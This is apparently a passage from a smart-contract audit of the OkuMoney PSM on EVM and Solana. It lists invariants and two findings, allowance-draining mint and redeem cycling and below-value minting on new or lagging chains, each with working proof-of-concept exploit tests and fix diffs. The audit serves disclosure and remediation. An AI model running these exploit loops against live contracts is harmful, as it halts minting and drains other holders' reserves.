INV-156	On two chains with identical schedule state, re-anchoring with the same active rate, the same rate end and the same successor at different landing seconds leaves the two multipliers equal at every common timestamp after both writes; the documented exceptions are a rate change, whose broadcast skew of `delta` seconds leaves a permanent ratio of `(r_old / r_new)^delta`, and the initial activation from a halted schedule

ID	Property
INV-157	On both stacks, once the active window has closed with no yielding successor armed, or the successor's own window has closed, the multiplier stays exactly at its value at that end until the next schedule write, so a chain that missed a broadcast stops accruing at its published end rather than accruing without bound (whether it then lags or leads chains that accepted the broadcast depends on that broadcast)
INV-158	Because the multiplier never decreases on either stack, a chain that ran ahead cannot be corrected downward; and for a halted laggard, a catch-up re-anchor with rate `r` and end `E` that would leave it at or below the leader's multiplier at `E` if it landed at the planned second leaves it at or below that value when it lands at any later second, never above it
INV-160	For a fixed OkuM amount, the reserve a PSM redeem pays on either stack never decreases as the redeem is delayed or reordered, the PSM charging no fee on either stack, and where OkuM and the reserve share decimals (always on SVM, and on EVM with an 18-decimal reserve) a redeem pays at least as many reserve units as OkuM units burned (the payout measured as the amount the PSM sends, before any reserve issuer transfer fee borne by the recipient, as documented on EVM)

8.2.18 Cross-stack rate-writer and control parity

ID	Property
INV-161	For identical prior schedule state, identical timestamp, identical pause status and identical integer inputs, `OkuMoneyRateSchedule::setOkuMYieldRate, setNextOkuMYieldRate, setOkuMYieldRateWithSuccessor` and `yield_ops::set_okum_yield_rate, set_next_okum_yield_rate, set_okum_yield_rate_with_successor` either both reject or both accept and write identical six-field schedule states; the only documented divergence is the pause flag consulted (OkuMoney's pause on EVM, the PSM's single `PsmConfig::is_paused` on SVM, so a PSM-only pause gates SVM rate writes and not EVM's)
INV-162	After every accepted schedule write on either stack, the active rate is in [1e18, 1e18 + 1e11], the rate end is 0 exactly when the active rate is 1e18, a yielding rate end is strictly after the anchor and at most 90 days after it, an armed successor (pending rate above 1e18) has a pending end strictly after the rate end and at most 90 days after it, and every re-anchor or override clears any successor armed before it
INV-163	While paused (OkuMoney's pause on EVM, `PsmConfig::is_paused` on SVM), every accepted rate write on either stack leaves the projected multiplier at every future timestamp no higher than before the write, a halt always passes, and a successor staged before the pause still activates at the rate end
INV-164	For identical schedule state, timestamp and pause status (OkuMoney's pause on EVM, `PsmConfig::is_paused` on SVM), `OkuMoneyRateSchedule::setOkuMMultiplier` and `yield_ops::set_okum_multiplier` accept exactly the same new multipliers (strictly above the current multiplier and at most 1e24), both reject while that pause is set, and on acceptance both leave a halted schedule anchored at the new value and the write's timestamp with no successor; the documented divergences are that a pause of the PSM alone blocks the override on SVM but not on EVM, and that the SVM override also fails when its mandatory display-mirror update fails
INV-175	`OkuMoneyRateSchedule::setOkuMYieldRateWithSuccessor` and `yield_ops::set_okum_yield_rate_with_successor` apply the active-rate re-anchor and the successor update atomically: both updates succeed or all six schedule fields keep their values from before the call, including when the active update is valid but the successor's validation or its pause gate fails, so a failed combined write never leaves an active-only schedule

ID	Property
INV-166	While the PSM's pause is set (`LitePSM`'s pause on EVM, `PsmConfig::is_paused` on SVM), no PSM mint, PSM redeem, buffer deposit or buffer withdrawal succeeds on either stack, so no reserve leaves a paused PSM, while blacklisting (EVM) and freezing (SVM) remain available; the documented divergences are that EVM peer-to-peer OkuM transfers stop under OkuMoney's pause while SVM Token-2022 transfers do not, and that `OkuMoney::burn` works while paused while `direct_burn::burn_oku_m_direct` and `direct_mint::mint_oku_m_direct` do not
INV-167	On both stacks the OkuM minted by PSM mints since the last write of the PSM's minter allowance by the allowance manager, less the OkuM burned by PSM redemptions since then, never exceeds the value that write set (`OkuMoney::minterAllowance` of the PSM on EVM, `PsmConfig::minter_allowance` on SVM), and on SVM the raw OkuM minted by direct mints and burned by direct burns since the last write of `PsmConfig::direct_minter_allowance, direct_burner_allowance` respectively by the allowance manager never exceeds the value that write set
INV-170	`LitePSM::mintOkuM` and `psm::mint_oku_m` require no role on either stack, so the bridge orchestrator holds no PSM mint authority beyond its own reserve custody, plus on SVM its `PsmConfig::direct_minter_allowance`

9 Findings

9.1 Medium Risk

9.1.1 Permissionless fee-free mint and redeem cycling drains the never-restored PSM minter allowance, halting all PSM minting and bridge destination legs

Description:

On EVM, `OkuMoney::mint` debits `minterAllowance[msg.sender]` on every mint, and `OkuMoney::burn` never credits it back. The only production minter is `LitePSM`. Its permissionless, fee-free `LitePSM::mintOkuM` and `LitePSM::mintUsdOku` each consume allowance, while `LitePSM::redeemOkuM` and `LitePSM::redeemUsdOku` burn without restoring it. The allowance therefore meters gross mint volume that any caller can generate, not net outstanding issuance.

An attacker with reserve capital C loops `mintOkuM(C)` then `redeemOkuM` on the OkuM received. The redeem leg is always covered by the reserve the mint leg just deposited, net supply stays flat so the supply cap does not stop the loop while each mint fits under it, and C returns each cycle less at most one reserve unit of rounding on a fee-free 6-decimal reserve, plus any issuer transfer fee. Each cycle consumes about `C * 1e12 * 1e18 / m` of allowance, so a flash-borrowed amount equal to the whole allowance, or many loops with small capital, empties it. Afterwards `OkuMoney::mint` reverts `ExceedsAllowance` for every PSM mint.

On Solana, `psm::mint_oku_m` debits the single global `PsmConfig::minter_allowance` through `limits::consume_allowance`, and `psm::redeem_oku_m` never touches it because its `config` account is read-only. The same loop applies, and several mint and redeem pairs fit in one transaction.

The documents state that burns do not restore the allowance and size it at about 1 % of weekly bridging volume, rotated weekly by the cold multisig. They do not mention or accept exhaustion by a permissionless caller.

Impact:

All PSM minting on the affected chain stops until the cold multisig refreshes the allowance (`OkuMoney::configureMinterAllowance` on EVM, `psm_admin::set_minter_allowance` on Solana), and the attacker can repeat the loop immediately after each refresh. Redemptions keep working.

The destination leg of EVM to EVM, SVM to EVM and EVM to SVM transfers is a PSM mint. The runbook preflight requires `minterAllowance >= mintAmount`, and a bridge whose source leg has already burned stalls with the user's value held as orchestrator-custodied reserve until the allowance is refilled. The SVM to SVM leg uses the separate `direct_minter_allowance` and is not affected.

The attacker gains nothing directly and risks only gas plus about one reserve unit, and any issuer transfer fee, per cycle. Raising the allowance far above the documented bound to absorb the griefing would defeat its stated purpose of bounding a compromised minter.

Proof of Concept:

The EVM test sets a small PSM allowance (PoC configuration, 10 cycles of 100 USDC at a multiplier of 1.05), cycles from one account, and shows a second user's mint reverting while net supply is zero.

Save it as `EVM/test/cyfrin-pocs/AllowanceCycling.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {BaseTest} from "../Base.t.sol";
import {OkuMoneyErrors} from "../../src/lib/errors/OkuMoneyErrors.sol";

contract AllowanceCyclingTest is BaseTest {
    uint256 internal constant CAPITAL = 100e6;
    uint256 internal constant CYCLES = 10;

    function setUp() public override {
        super.setUp();
        _mintUsdc(user1, CAPITAL + CYCLES);
```

```
        _mintUsdc(user2, 1_000e6);
    }

    function test_PoC_AllowanceCycling() public {
        _setOkuMMultiplierAndRoll(1.05e18);

        uint256 perCycle = (CAPITAL * DECIMAL_MULTIPLIER * PRECISION) / okuMoney.okuMMultiplier();
        vm.prank(allowanceManager);
        okuMoney.configureMinterAllowance(address(litePsm), perCycle * CYCLES);

        uint256 usdcBefore = usdc.balanceOf(user1);

        vm.startPrank(user1);
        usdc.approve(address(litePsm), type(uint256).max);
        okuMoney.approve(address(litePsm), type(uint256).max);
        for (uint256 i = 0; i < CYCLES; i++) {
            litePsm.mintOkuM(CAPITAL);
            litePsm.redeemOkuM(okuMoney.balanceOf(user1));
        }
        vm.stopPrank();

        assertEq(okuMoney.minterAllowance(address(litePsm)), 0, "allowance fully consumed");
        assertEq(okuMoney.totalSupply(), 0, "no net supply issued");
        assertEq(okuMoney.balanceOf(user1), 0, "attacker holds no OkuM");
        assertLe(usdcBefore - usdc.balanceOf(user1), CYCLES, "at most one unit lost per cycle");

        vm.startPrank(user2);
        usdc.approve(address(litePsm), 10e6);
        vm.expectRevert(OkuMoneyErrors.ExceedsAllowance.selector);
        litePsm.mintOkuM(10e6);
        vm.stopPrank();
    }
}
```

Run it with:

```
cd EVM && forge test --match-path test/cyfrin-pocs/AllowanceCycling.t.sol --match-test
↪  test_PoC_AllowanceCycling -vvvv
```

The Solana test runs the same cycles as two transactions of three mint and redeem pairs each against the prebuilt program, then shows a second user's `psm::mint_oku_m` failing.

Save it as `SVM/oku-programs/tests/cyfrin-pocs/AllowanceCycling.ts`:

```
import * as anchor from "@anchor-lang/core";
import { Program, BN } from "@anchor-lang/core";
import {
  TOKEN_PROGRAM_ID,
  TOKEN_2022_PROGRAM_ID,
  ASSOCIATED_TOKEN_PROGRAM_ID,
  getAccount,
  getMint,
  getAssociatedTokenAddressSync,
} from "@solana/spl-token";
import { expect } from "chai";
import { LitePsm } from "../../target/types/lite_psm";
import { PRECISION } from "@okumoney/yield-tooling";
import { coldMultisig, initializePsm, DECIMALS } from "../shared/setup";
import {
  BankrunHarness,
  startBankrun,
  fundKeypairs,
  createMintViaBankrun,
```

```
  mintToViaBankrun,
  ensureAtaViaBankrun,
  computeCanonicalMultiplier,
  expectBankrunError,
} from "../shared/bankrun";

const { Keypair, SystemProgram } = anchor.web3;

describe("psm allowance cycling", () => {
  let h: BankrunHarness;
  let program: Program<LitePsm>;
  const attacker = Keypair.generate();
  const victim = Keypair.generate();
  const usdcMintKeypair = Keypair.generate();

  let configPda: anchor.web3.PublicKey;
  let usdcMint: anchor.web3.PublicKey;
  let okuMMint: anchor.web3.PublicKey;
  let vaultUsdcAta: anchor.web3.PublicKey;
  let attackerUsdcAta: anchor.web3.PublicKey;
  let attackerOkuMAta: anchor.web3.PublicKey;
  let victimUsdcAta: anchor.web3.PublicKey;
  let victimOkuMAta: anchor.web3.PublicKey;

  before(async () => {
    h = await startBankrun();
    program = h.program;

    usdcMint = await createMintViaBankrun(
      h,
      h.payer.publicKey,
      null,
      DECIMALS,
      usdcMintKeypair,
      TOKEN_PROGRAM_ID
    );
    await fundKeypairs(h, [attacker, victim], 10 * anchor.web3.LAMPORTS_PER_SOL);

    const setup = await initializePsm(h, program, h.payer, usdcMint);
    configPda = setup.configPda;
    okuMMint = setup.okuMMint;
    vaultUsdcAta = setup.vaultUsdcAta;

    attackerUsdcAta = getAssociatedTokenAddressSync(usdcMint, attacker.publicKey, false,
    ↪  TOKEN_PROGRAM_ID);
    attackerOkuMAta = getAssociatedTokenAddressSync(okuMMint, attacker.publicKey, false,
    ↪  TOKEN_2022_PROGRAM_ID);
    victimUsdcAta = getAssociatedTokenAddressSync(usdcMint, victim.publicKey, false, TOKEN_PROGRAM_ID);
    victimOkuMAta = getAssociatedTokenAddressSync(okuMMint, victim.publicKey, false,
    ↪  TOKEN_2022_PROGRAM_ID);

    await ensureAtaViaBankrun(h, attacker.publicKey, usdcMint, TOKEN_PROGRAM_ID);
    await ensureAtaViaBankrun(h, victim.publicKey, usdcMint, TOKEN_PROGRAM_ID);
    await mintToViaBankrun(h, usdcMint, attackerUsdcAta, h.payer, 1_000_000_000, TOKEN_PROGRAM_ID);
    await mintToViaBankrun(h, usdcMint, victimUsdcAta, h.payer, 1_000_000_000, TOKEN_PROGRAM_ID);
  });

  const accountsFor = (user: anchor.web3.PublicKey, usdcAta: anchor.web3.PublicKey, okuMAta:
  ↪  anchor.web3.PublicKey) => ({
    user,
    config: configPda,
    usdcMint,
    okuMMint,
```

```
  userUsdcAta: usdcAta,
  userOkuMAta: okuMAta,
  vaultUsdc: vaultUsdcAta,
  tokenProgram: TOKEN_PROGRAM_ID,
  token2022Program: TOKEN_2022_PROGRAM_ID,
  associatedTokenProgram: ASSOCIATED_TOKEN_PROGRAM_ID,
  systemProgram: SystemProgram.programId,
});

it("PoC: AllowanceCycling", async () => {
  const capital = 10_000_000n;
  const cycles = 6n;
  const m = await computeCanonicalMultiplier(h, program, configPda);
  const perCycle = (capital * PRECISION) / m;

  await program.methods
    .setMinterAllowance(new BN((perCycle * cycles).toString()))
    .accountsPartial({ allowanceManager: coldMultisig.publicKey, config: configPda })
    .signers([coldMultisig])
    .rpc();

  const usdcBefore = (await getAccount(h.provider.connection, attackerUsdcAta, undefined,
  ↪  TOKEN_PROGRAM_ID)).amount;
  const accts = accountsFor(attacker.publicKey, attackerUsdcAta, attackerOkuMAta);

  for (let t = 0; t < 2; t++) {
    const ixs: anchor.web3.TransactionInstruction[] = [];
    for (let i = 0; i < 3; i++) {
      ixs.push(
        await program.methods.mintOkuM(new
        ↪  BN(capital.toString())).accountsPartial(accts).instruction()
      );
      ixs.push(
        await program.methods
          .redeemOkuM(new BN(perCycle.toString()), new BN(0))
          .accountsPartial(accts)
          .instruction()
      );
    }
    const tx = new anchor.web3.Transaction().add(
      anchor.web3.ComputeBudgetProgram.setComputeUnitLimit({ units: 600_000 }),
      ...ixs
    );
    await h.provider.sendAndConfirm!(tx, [attacker]);
  }

  const config = await program.account.psmConfig.fetch(configPda);
  expect(config.minterAllowance.toString()).to.equal("0");

  const supply = (await getMint(h.provider.connection, okuMMint, undefined,
  ↪  TOKEN_2022_PROGRAM_ID)).supply;
  expect(supply).to.equal(0n);

  const usdcAfter = (await getAccount(h.provider.connection, attackerUsdcAta, undefined,
  ↪  TOKEN_PROGRAM_ID)).amount;
  expect(usdcBefore - usdcAfter <= cycles).to.equal(true);

  await expectBankrunError(
    () =>
      program.methods
        .mintOkuM(new BN(1_000_000))
        .accountsPartial(accountsFor(victim.publicKey, victimUsdcAta, victimOkuMAta))
        .signers([victim])
```

```
          .rpc(),
      "AllowanceExceeded"
    );
  });
});
```

Run it with:

```
cd SVM/oku-programs && node_modules/.bin/mocha --require tsx --timeout 120000
↪  tests/cyfrin-pocs/AllowanceCycling.ts --grep "PoC: AllowanceCycling"
```

Recommended Mitigation:

Make the allowance bound net outstanding issuance: record the allowance last configured and let each burn restore the minter's allowance up to that value, on both stacks. A mint-and-redeem loop then returns the allowance it consumed, while the supply cap and a configured allowance of zero still bind.

```
--- a/EVM/src/token/OkuMoney.sol
+++ b/EVM/src/token/OkuMoney.sol
@@ -53,2 +53,4 @@
         mapping(address => bool) isBlacklisted;
+        // Allowance last configured per minter; burns restore `minterAllowance` up to it
+        mapping(address => uint256) minterAllowanceLimit;
     }
@@ -276,2 +278,11 @@
         _burn(msg.sender, amount);
+
+        // A burn restores the burner's allowance, up to the last configured value, so the
+        // allowance bounds net outstanding issuance and not cumulative gross mints
+        uint256 current = $.minterAllowance[msg.sender];
+        uint256 limit = $.minterAllowanceLimit[msg.sender];
+        if (current < limit) {
+            uint256 room = limit - current;
+            $.minterAllowance[msg.sender] = current + (amount < room ? amount : room);
+        }
     }
@@ -294,2 +305,3 @@
         $.minterAllowance[minter_] = newAllowance;
+        $.minterAllowanceLimit[minter_] = newAllowance;
         emit MinterAllowanceUpdated(minter_, oldAllowance, newAllowance);
--- a/SVM/oku-programs/programs/lite-psm/src/state.rs
+++ b/SVM/oku-programs/programs/lite-psm/src/state.rs
@@ -101,5 +101,9 @@

+    /// Allowance last set by `allowance_manager`; a `redeem_oku_m` burn restores
+    /// `minter_allowance` up to it
+    pub minter_allowance_limit: u64,
+
     /// Reserved tail for future fields; consume from the front and shrink the
     /// array so `LEN` stays constant (there is no `realloc` instruction).
-    pub reserved: [u8; 128],
+    pub reserved: [u8; 120],
 }
--- a/SVM/oku-programs/programs/lite-psm/src/helpers/limits.rs
+++ b/SVM/oku-programs/programs/lite-psm/src/helpers/limits.rs
@@ -22,2 +22,7 @@

+/// Restore `amount` to `allowance` after a burn, never above `limit`
+pub fn restore_allowance(allowance: &mut u64, limit: u64, amount: u64) {
+    *allowance = allowance.saturating_add(amount).min(limit);
+}
+
 #[cfg(test)]
```

```
--- a/SVM/oku-programs/programs/lite-psm/src/instructions/psm.rs
+++ b/SVM/oku-programs/programs/lite-psm/src/instructions/psm.rs
@@ -9,3 +9,3 @@
     check_supply_cap, check_yield_lock, check_yield_lock_with_clock, consume_allowance,
-    dollars_to_raw, multiplier, raw_to_dollars,
+    dollars_to_raw, multiplier, raw_to_dollars, restore_allowance,
 };
@@ -150,2 +150,10 @@

+    // The burn restores the PSM's mint allowance, up to the configured value
+    let limit = ctx.accounts.config.minter_allowance_limit;
+    restore_allowance(
+        &mut ctx.accounts.config.minter_allowance,
+        limit,
+        raw_oku_m_amount,
+    );
+
     // 2. Pay USDC from the vault; the config PDA owns the vault and signs.
--- a/SVM/oku-programs/programs/lite-psm/src/instructions/psm_admin.rs
+++ b/SVM/oku-programs/programs/lite-psm/src/instructions/psm_admin.rs
@@ -73,2 +73,3 @@
     config.minter_allowance = amount;
+    config.minter_allowance_limit = amount;

--- a/SVM/oku-programs/programs/lite-psm/src/instructions/init.rs
+++ b/SVM/oku-programs/programs/lite-psm/src/instructions/init.rs
@@ -221,2 +221,3 @@
     config.minter_allowance = params.minter_allowance;
+    config.minter_allowance_limit = params.minter_allowance;

--- a/SVM/oku-programs/programs/lite-psm/src/contexts/psm.rs
+++ b/SVM/oku-programs/programs/lite-psm/src/contexts/psm.rs
@@ -90,5 +90,6 @@

-    /// The singleton config PDA. Read-only: a redeem changes no config state (it
-    /// only signs the vault transfer).
+    /// The singleton config PDA. Writable: a redeem restores `minter_allowance`
+    /// and signs the vault transfer
     #[account(
+        mut,
         seeds = [PsmConfig::SEED],
```

A burn now returns the allowance, so the allowance no longer meters gross mint volume, which the weekly rotation policy sizes it against, and `psm::redeem_oku_m` now write-locks the config account like a mint. The fix contradicts the statement that burns do not restore the allowance and the Solidity tests that assert a burn leaves it unchanged. The Solana client for `psm::redeem_oku_m` must pass `config` as writable, so the program's IDL is regenerated.

OkuMoney:

Fixed in commits a55745c and de26982.

Cyfrin:

Verified.

9.1.2 Fresh chain deployment opens permissionless PSM minting at a hardcoded 1.00 multiplier before any schedule seeding, so a chain added after yield accrued sells OkuM below the global value

Description:

`OkuMoneyRateSchedule::__OkuMoneyRateSchedule_init` starts every proxy halted at `PRECISION`, and `LitePSM::initialize` leaves the module unpaused. The deploy script `configureRoles` then grants `OKUM_MINTER` and a one-billion-token minter allowance to the PSM. It never pauses the PSM, seeds the multiplier, and `verifyDeployment`

does not check it. The Solana deploy does the same: `lite_psm::initialize` stores the script's 1e15 raw `minter_allowance` with the schedule halted at `PRECISION` and the program unpaused. The trigger sits in those scripts and the mainnet ceremony, which are outside the audited files, but the harm lands on the in-scope PSMs.

When the chain is added after the live chains reached a global multiplier `m_g` above `1e18`, `LitePSM::mintOkuM` and `LitePSM::mintUsdOku` price at 1.00 from the next transaction after the allowance grant. The documented remedy is to run the chain hot with a catch-up rate, applied after unpausing, and an emergency `OkuMoneyRateSchedule::setOkuMMultiplier` override would likewise land after minting is open. Pausing before the override does not help, since the position was bought earlier. `LitePSM::redeemOkuM` then pays `okuMAmount * m_g` from the buffer.

Other impacts of the same root cause:

- A live chain that falls behind the fleet, after a missed broadcast or an SVM pause outlasting its armed window, is caught up "after unpausing it" with a catch-up rate that reaches the leader's multiplier only at the leader's `rateEnd`. Minting stays open at the lower multiplier throughout, so capital minted when the catch-up starts and redeemed at `rateEnd` collects about 1.34e-4 of the deposit per day of lag at about 5% APY, paid from the laggard's buffer. In the second PoC, a 3-day lag closed over one day returns 401.15 USDC more on 1,000,000 USDC than the leader pays. Solana cannot keep minting closed by pausing during the re-alignment, because `yield_ops::set_okum_multiplier` and yielding rate writes require the program unpaused

Impact:

Anyone who mints in the window holds OkuM worth more than the USDC paid, and redeems the difference from the PSM buffer. That buffer holds other holders' deposits and treasury top-ups, so they bear the shortfall. At `m_g` of 1.05e18, 10,000 USDC minted at 1.00 redeems for 10,500 USDC, a 500 USDC transfer per 10,000 USDC, with no fee. The gain is bounded by the buffer beyond the attacker's own deposit and by the 1e27 wei allowance, and needs the operator to add a chain after yield accrued. The attacker can prepare in advance because the proxy and PSM addresses are deterministic. Chains launched together at 1.00 are unaffected.

Proof of Concept:

The first test reuses the unit fixture, which matches the script's end state (PSM unpaused, minter allowance set, multiplier 1.00), then applies the override after the mint.

Save it as `EVM/test/cyfrin-pocs/FreshChainMint.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {BaseTest} from "../Base.t.sol";

contract FreshChainMintTest is BaseTest {
    function setUp() public override {
        super.setUp();
        _mintUsdc(user1, 10_000e6);
        _mintUsdc(user2, 10_000e6);
        // treasury top-up already sitting in the PSM buffer
        _mintUsdc(address(litePsm), 5_000e6);
    }

    function test_PoC_FreshChainMint() public {
        assertEq(okuMoney.okuMMultiplier(), 1e18);

        // mint at the hardcoded 1.00 before the chain is brought to the global value
        _approveUsdc(user1, address(litePsm), 10_000e6);
        vm.prank(user1);
        litePsm.mintOkuM(10_000e6);
        assertEq(okuMoney.balanceOf(user1), 10_000e18);

        // the operator brings the chain to the global 1.05 and a later minter pays it
        _setOkuMMultiplierAndRoll(1.05e18);
        _approveUsdc(user2, address(litePsm), 10_000e6);
        vm.prank(user2);
```

```
        litePsm.mintOkuM(10_000e6);
        assertLt(okuMoney.balanceOf(user2), okuMoney.balanceOf(user1));

        // the early minter redeems at the global value out of the shared buffer
        uint256 bufferBefore = usdc.balanceOf(address(litePsm));
        _approveOkuMoney(user1, address(litePsm), 10_000e18);
        vm.prank(user1);
        litePsm.redeemOkuM(10_000e18);

        assertEq(usdc.balanceOf(user1), 10_500e6);
        assertEq(bufferBefore - usdc.balanceOf(address(litePsm)), 10_500e6);
    }
}
```

Run it with:

```
cd EVM && forge test --match-path test/cyfrin-pocs/FreshChainMint.t.sol --match-test
↪  test_PoC_FreshChainMint -vvvv
```

The second test runs the catch-up case with a second `OkuMoney` deployment as the leader chain, and its helper transcribes the tooling's catch-up rate search in place of the operator script.

Save it as `EVM/test/cyfrin-pocs/LaggardCatchUpMint.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {BaseTest} from "../Base.t.sol";
import {OkuMoney} from "../../src/token/OkuMoney.sol";
import {MathLib} from "../../src/lib/MathLib.sol";
import {Deploy} from "../shared/Deploy.sol";

contract LaggardCatchUpMintTest is BaseTest {
    uint256 internal constant T0 = 1_800_000_000;
    uint256 internal constant DAY = 1 days;
    // about 5% APY as a per-second rate
    uint256 internal constant RATE = 1_000_000_001_547_126_016;
    uint256 internal constant HONEST_USDC = 100_000e6;
    uint256 internal constant ENTRANT_USDC = 1_000_000e6;

    OkuMoney internal leader;

    function setUp() public override {
        super.setUp();
        (leader,) = Deploy.deployOkuMoney(admin);
        vm.prank(admin);
        leader.grantRole(OKUM_RATE_MANAGER, rateManager);
        _mintUsdc(user2, HONEST_USDC);
        _mintUsdc(user1, ENTRANT_USDC);
    }

    // smallest rate whose compounded multiplier reaches the target, as catchUpRate in
    ↪  packages/yield-tooling
    function _catchUpRate(uint256 cur, uint256 target, uint256 window) internal pure returns (uint256) {
        uint256 lo = PRECISION;
        uint256 hi = MAX_RATE;
        while (hi - lo > 1) {
            uint256 mid = (lo + hi) / 2;
            if (MathLib.compoundFor(cur, mid, window) >= target) hi = mid;
            else lo = mid;
        }
        return hi;
    }
```

```
function test_PoC_LaggardCatchUpMint() public {
    // identical epoch on both chains
    vm.warp(T0);
    vm.prank(rateManager);
    leader.setOkuMYieldRate(RATE, T0 + DAY);
    vm.prank(rateManager);
    okuMoney.setOkuMYieldRate(RATE, T0 + DAY);

    // an honest holder is on the laggard chain before the lag
    _approveUsdc(user2, address(litePsm), HONEST_USDC);
    vm.prank(user2);
    litePsm.mintOkuM(HONEST_USDC);

    // the next broadcast lands on the leader only, so the laggard halts at T0 + DAY
    vm.warp(T0 + DAY - 1 hours);
    vm.prank(rateManager);
    leader.setOkuMYieldRate(RATE, T0 + 5 * DAY);

    // three days later the operator applies the runbook catch-up to the leader's rateEnd
    vm.warp(T0 + 4 * DAY);
    uint256 end = leader.okuMRateEnd();
    uint256 lagging = okuMoney.okuMMultiplier();
    uint256 leaderNow = leader.okuMMultiplier();
    uint256 target = MathLib.compoundFor(
        leader.okuMBaseMultiplier(),
        leader.okuMRatePerSecond(),
        end - leader.okuMLastAccrualTime()
    );
    uint256 rate = _catchUpRate(lagging, target, end - block.timestamp);
    assertGt(rate, RATE);
    vm.prank(rateManager);
    okuMoney.setOkuMYieldRate(rate, end);

    // a fresh entrant mints on the laggard right after the catch-up write
    _approveUsdc(user1, address(litePsm), ENTRANT_USDC);
    vm.prank(user1);
    litePsm.mintOkuM(ENTRANT_USDC);
    uint256 entrantOkuM = okuMoney.balanceOf(user1);

    // at the leader's rateEnd both chains agree again
    vm.warp(end);
    assertEq(okuMoney.okuMMultiplier(), leader.okuMMultiplier());
    assertEq(okuMoney.okuMMultiplier(), target);

    _approveOkuMoney(user1, address(litePsm), entrantOkuM);
    vm.prank(user1);
    uint256 out = litePsm.redeemOkuM(entrantOkuM);

    // the same USDC held on the leader over the same day
    uint256 leaderOkuM = MathLib.dollarsToOkuM(ENTRANT_USDC * DECIMAL_MULTIPLIER, leaderNow);
    uint256 leaderOut = MathLib.okuMToDollars(leaderOkuM, target) / DECIMAL_MULTIPLIER;

    emit log_named_uint("laggard multiplier at catch-up", lagging);
    emit log_named_uint("leader multiplier at catch-up", leaderNow);
    emit log_named_uint("entrant USDC out on the laggard", out);
    emit log_named_uint("same USDC out on the leader", leaderOut);

    assertEq(lagging, 1_000_133_680_622_125_602);
    assertEq(leaderNow, 1_000_534_829_721_110_880);
    assertEq(out, 1_000_534_829_721);
    assertEq(leaderOut, 1_000_133_680_622);
    assertEq(out - leaderOut, 401_149_099);
```

```
    }
}
```

Run it with:

```
cd EVM && forge test --match-path test/cyfrin-pocs/LaggardCatchUpMint.t.sol --match-test
↪  test_PoC_LaggardCatchUpMint -vvvv
```

Recommended Mitigation:

Keep PSM minting closed while a chain's multiplier is below the fleet's. Both deploy scripts withhold the minter allowance, so every mint reverts while the chain sits at the 1.00 starting multiplier. The laggard procedure zeroes the allowance as soon as the lag shows, and the cold allowance manager sets it only once that chain's multiplier has reached the leader's at the same chain timestamp.

```
--- a/EVM/scripts/deploy/index.ts
+++ b/EVM/scripts/deploy/index.ts
@@ -79,5 +79,7 @@
   return {
     maxSupply: ethers.parseUnits("1000000000", 18), // 1 billion
-    minterAllowance: ethers.parseUnits("1000000000", 18), // 1 billion
+    // Withheld: every proxy starts halted at 1.00, so PSM minting stays closed until the
+    // allowance manager opens it once okuMMultiplier() has reached the fleet's (README Sec. Mainnet
↪  ceremony)
+    minterAllowance: 0n,
   };
 }
@@ -572,5 +574,7 @@
   await sendAndWait("Grant OKUM_BURNER to LitePSM", () => okuMoney.grantRole(ROLES.OKUM_BURNER,
   ↪  litePSMAddress));

-  await sendAndWait("Set LitePSM minter allowance", () =>
↪  okuMoney.configureMinterAllowance(litePSMAddress, config.minterAllowance));
+  if (config.minterAllowance > 0n) {
+    await sendAndWait("Set LitePSM minter allowance", () =>
↪  okuMoney.configureMinterAllowance(litePSMAddress, config.minterAllowance));
+  }
 }

@@ -718,6 +722,6 @@
   // checks BOTH `onlyRole(OKUM_MINTER)` and `minterAllowance[msg.sender]`, so
   // a role grant without an allowance still reverts with ExceedsAllowance.
+  // A fresh deploy leaves it at zero (minting closed) until the multiplier is seeded
   const psmAllowance = await okuMoney.minterAllowance(litePSMAddress);
-  if (psmAllowance === 0n) missingRoles.push("LitePSM minter allowance is zero");
   logger.info(`  LitePSM minter allowance: ${psmAllowance}`);
```

```
--- a/SVM/oku-programs/scripts/deploy/lib/config.ts
+++ b/SVM/oku-programs/scripts/deploy/lib/config.ts
@@ -4,5 +4,5 @@

 import { BN } from '@anchor-lang/core';
-import { MAX_SUPPLY, MINTER_ALLOWANCE } from '../../config/constants';
+import { MAX_SUPPLY } from '../../config/constants';

 export interface DeploymentConfig {
@@ -14,5 +14,7 @@
   return {
     maxSupply: new BN(MAX_SUPPLY),
-    minterAllowance: new BN(MINTER_ALLOWANCE),
+    // Withheld: the program starts halted at 1.00, so `mint_oku_m` stays closed until the
+    // allowance manager opens it once the multiplier has reached the fleet's
```

```
+    minterAllowance: new BN(0),
   };
 }
```

```
--- a/README.md
+++ b/README.md
@@ -388,6 +388,12 @@
 3. **If the chains diverged anyway** (a PSM-only pause, a missed broadcast), the laggard
    cannot go through `broadcastSchedule`, which refuses a chain not at the artifact's
-   pre-state. Fix it per chain, after unpausing it. Read the leader's multiplier and
-   `rateEnd` (`checkMultiplierDrift`, `admin:read-schedule`), then on the laggard:
+   pre-state. Fix it per chain. As soon as `checkMultiplierDrift` shows the lag, and in any
+   case before unpausing the laggard, have the cold allowance manager (EVM
+   `OKUM_ALLOWANCE_MANAGER`, SVM `allowance_manager`) record its PSM minter allowance and
+   set it to zero as a multisig transaction (EVM Safe:
+   `OkuMoney.configureMinterAllowance(<LitePSM>, 0)`; SVM Squads vault:
+   `set_minter_allowance(0)`), so no mint is priced below the fleet while redemptions stay
+   open. Read the leader's multiplier and `rateEnd`
+   (`checkMultiplierDrift`, `admin:read-schedule`), then unpause and, on the laggard:
    - SVM: `set-yield-rate.ts --mode=active --target-multiplier=<wad> --end=<leader rateEnd>`
    - EVM: `TARGET_MULTIPLIER=<wad> END_TIMESTAMP=<leader rateEnd> npx hardhat run
@@ -401,4 +407,9 @@
    `rateEnd`; that is the catch-up working, not a fault. A gap that needs more than
    `MAX_RATE` (about 2242% APY) over the window must be closed over several windows.
+   Restore the recorded allowance (or the weekly policy value) only once the laggard's
+   multiplier has reached the leader's at the same chain timestamp; if a late transaction
+   leaves it short at `rateEnd`, run another catch-up window first. Skip the weekly
+   rotation on that chain until then. Bridges whose destination leg is the laggard's PSM
+   mint stall meanwhile.

 #### Minter allowance rotation policy
@@ -867,4 +878,15 @@
 pre-mainnet checklist: [`SVM/README.md`](SVM/README.md). Final state per role:
 `AUTHORITY-MATRIX.md` Sec.5.
+
+**Both stacks, last.** Open PSM minting only after the handover. The deploy leaves the PSM
+minter allowance at zero on both stacks, and every chain starts halted at 1.00. On a chain
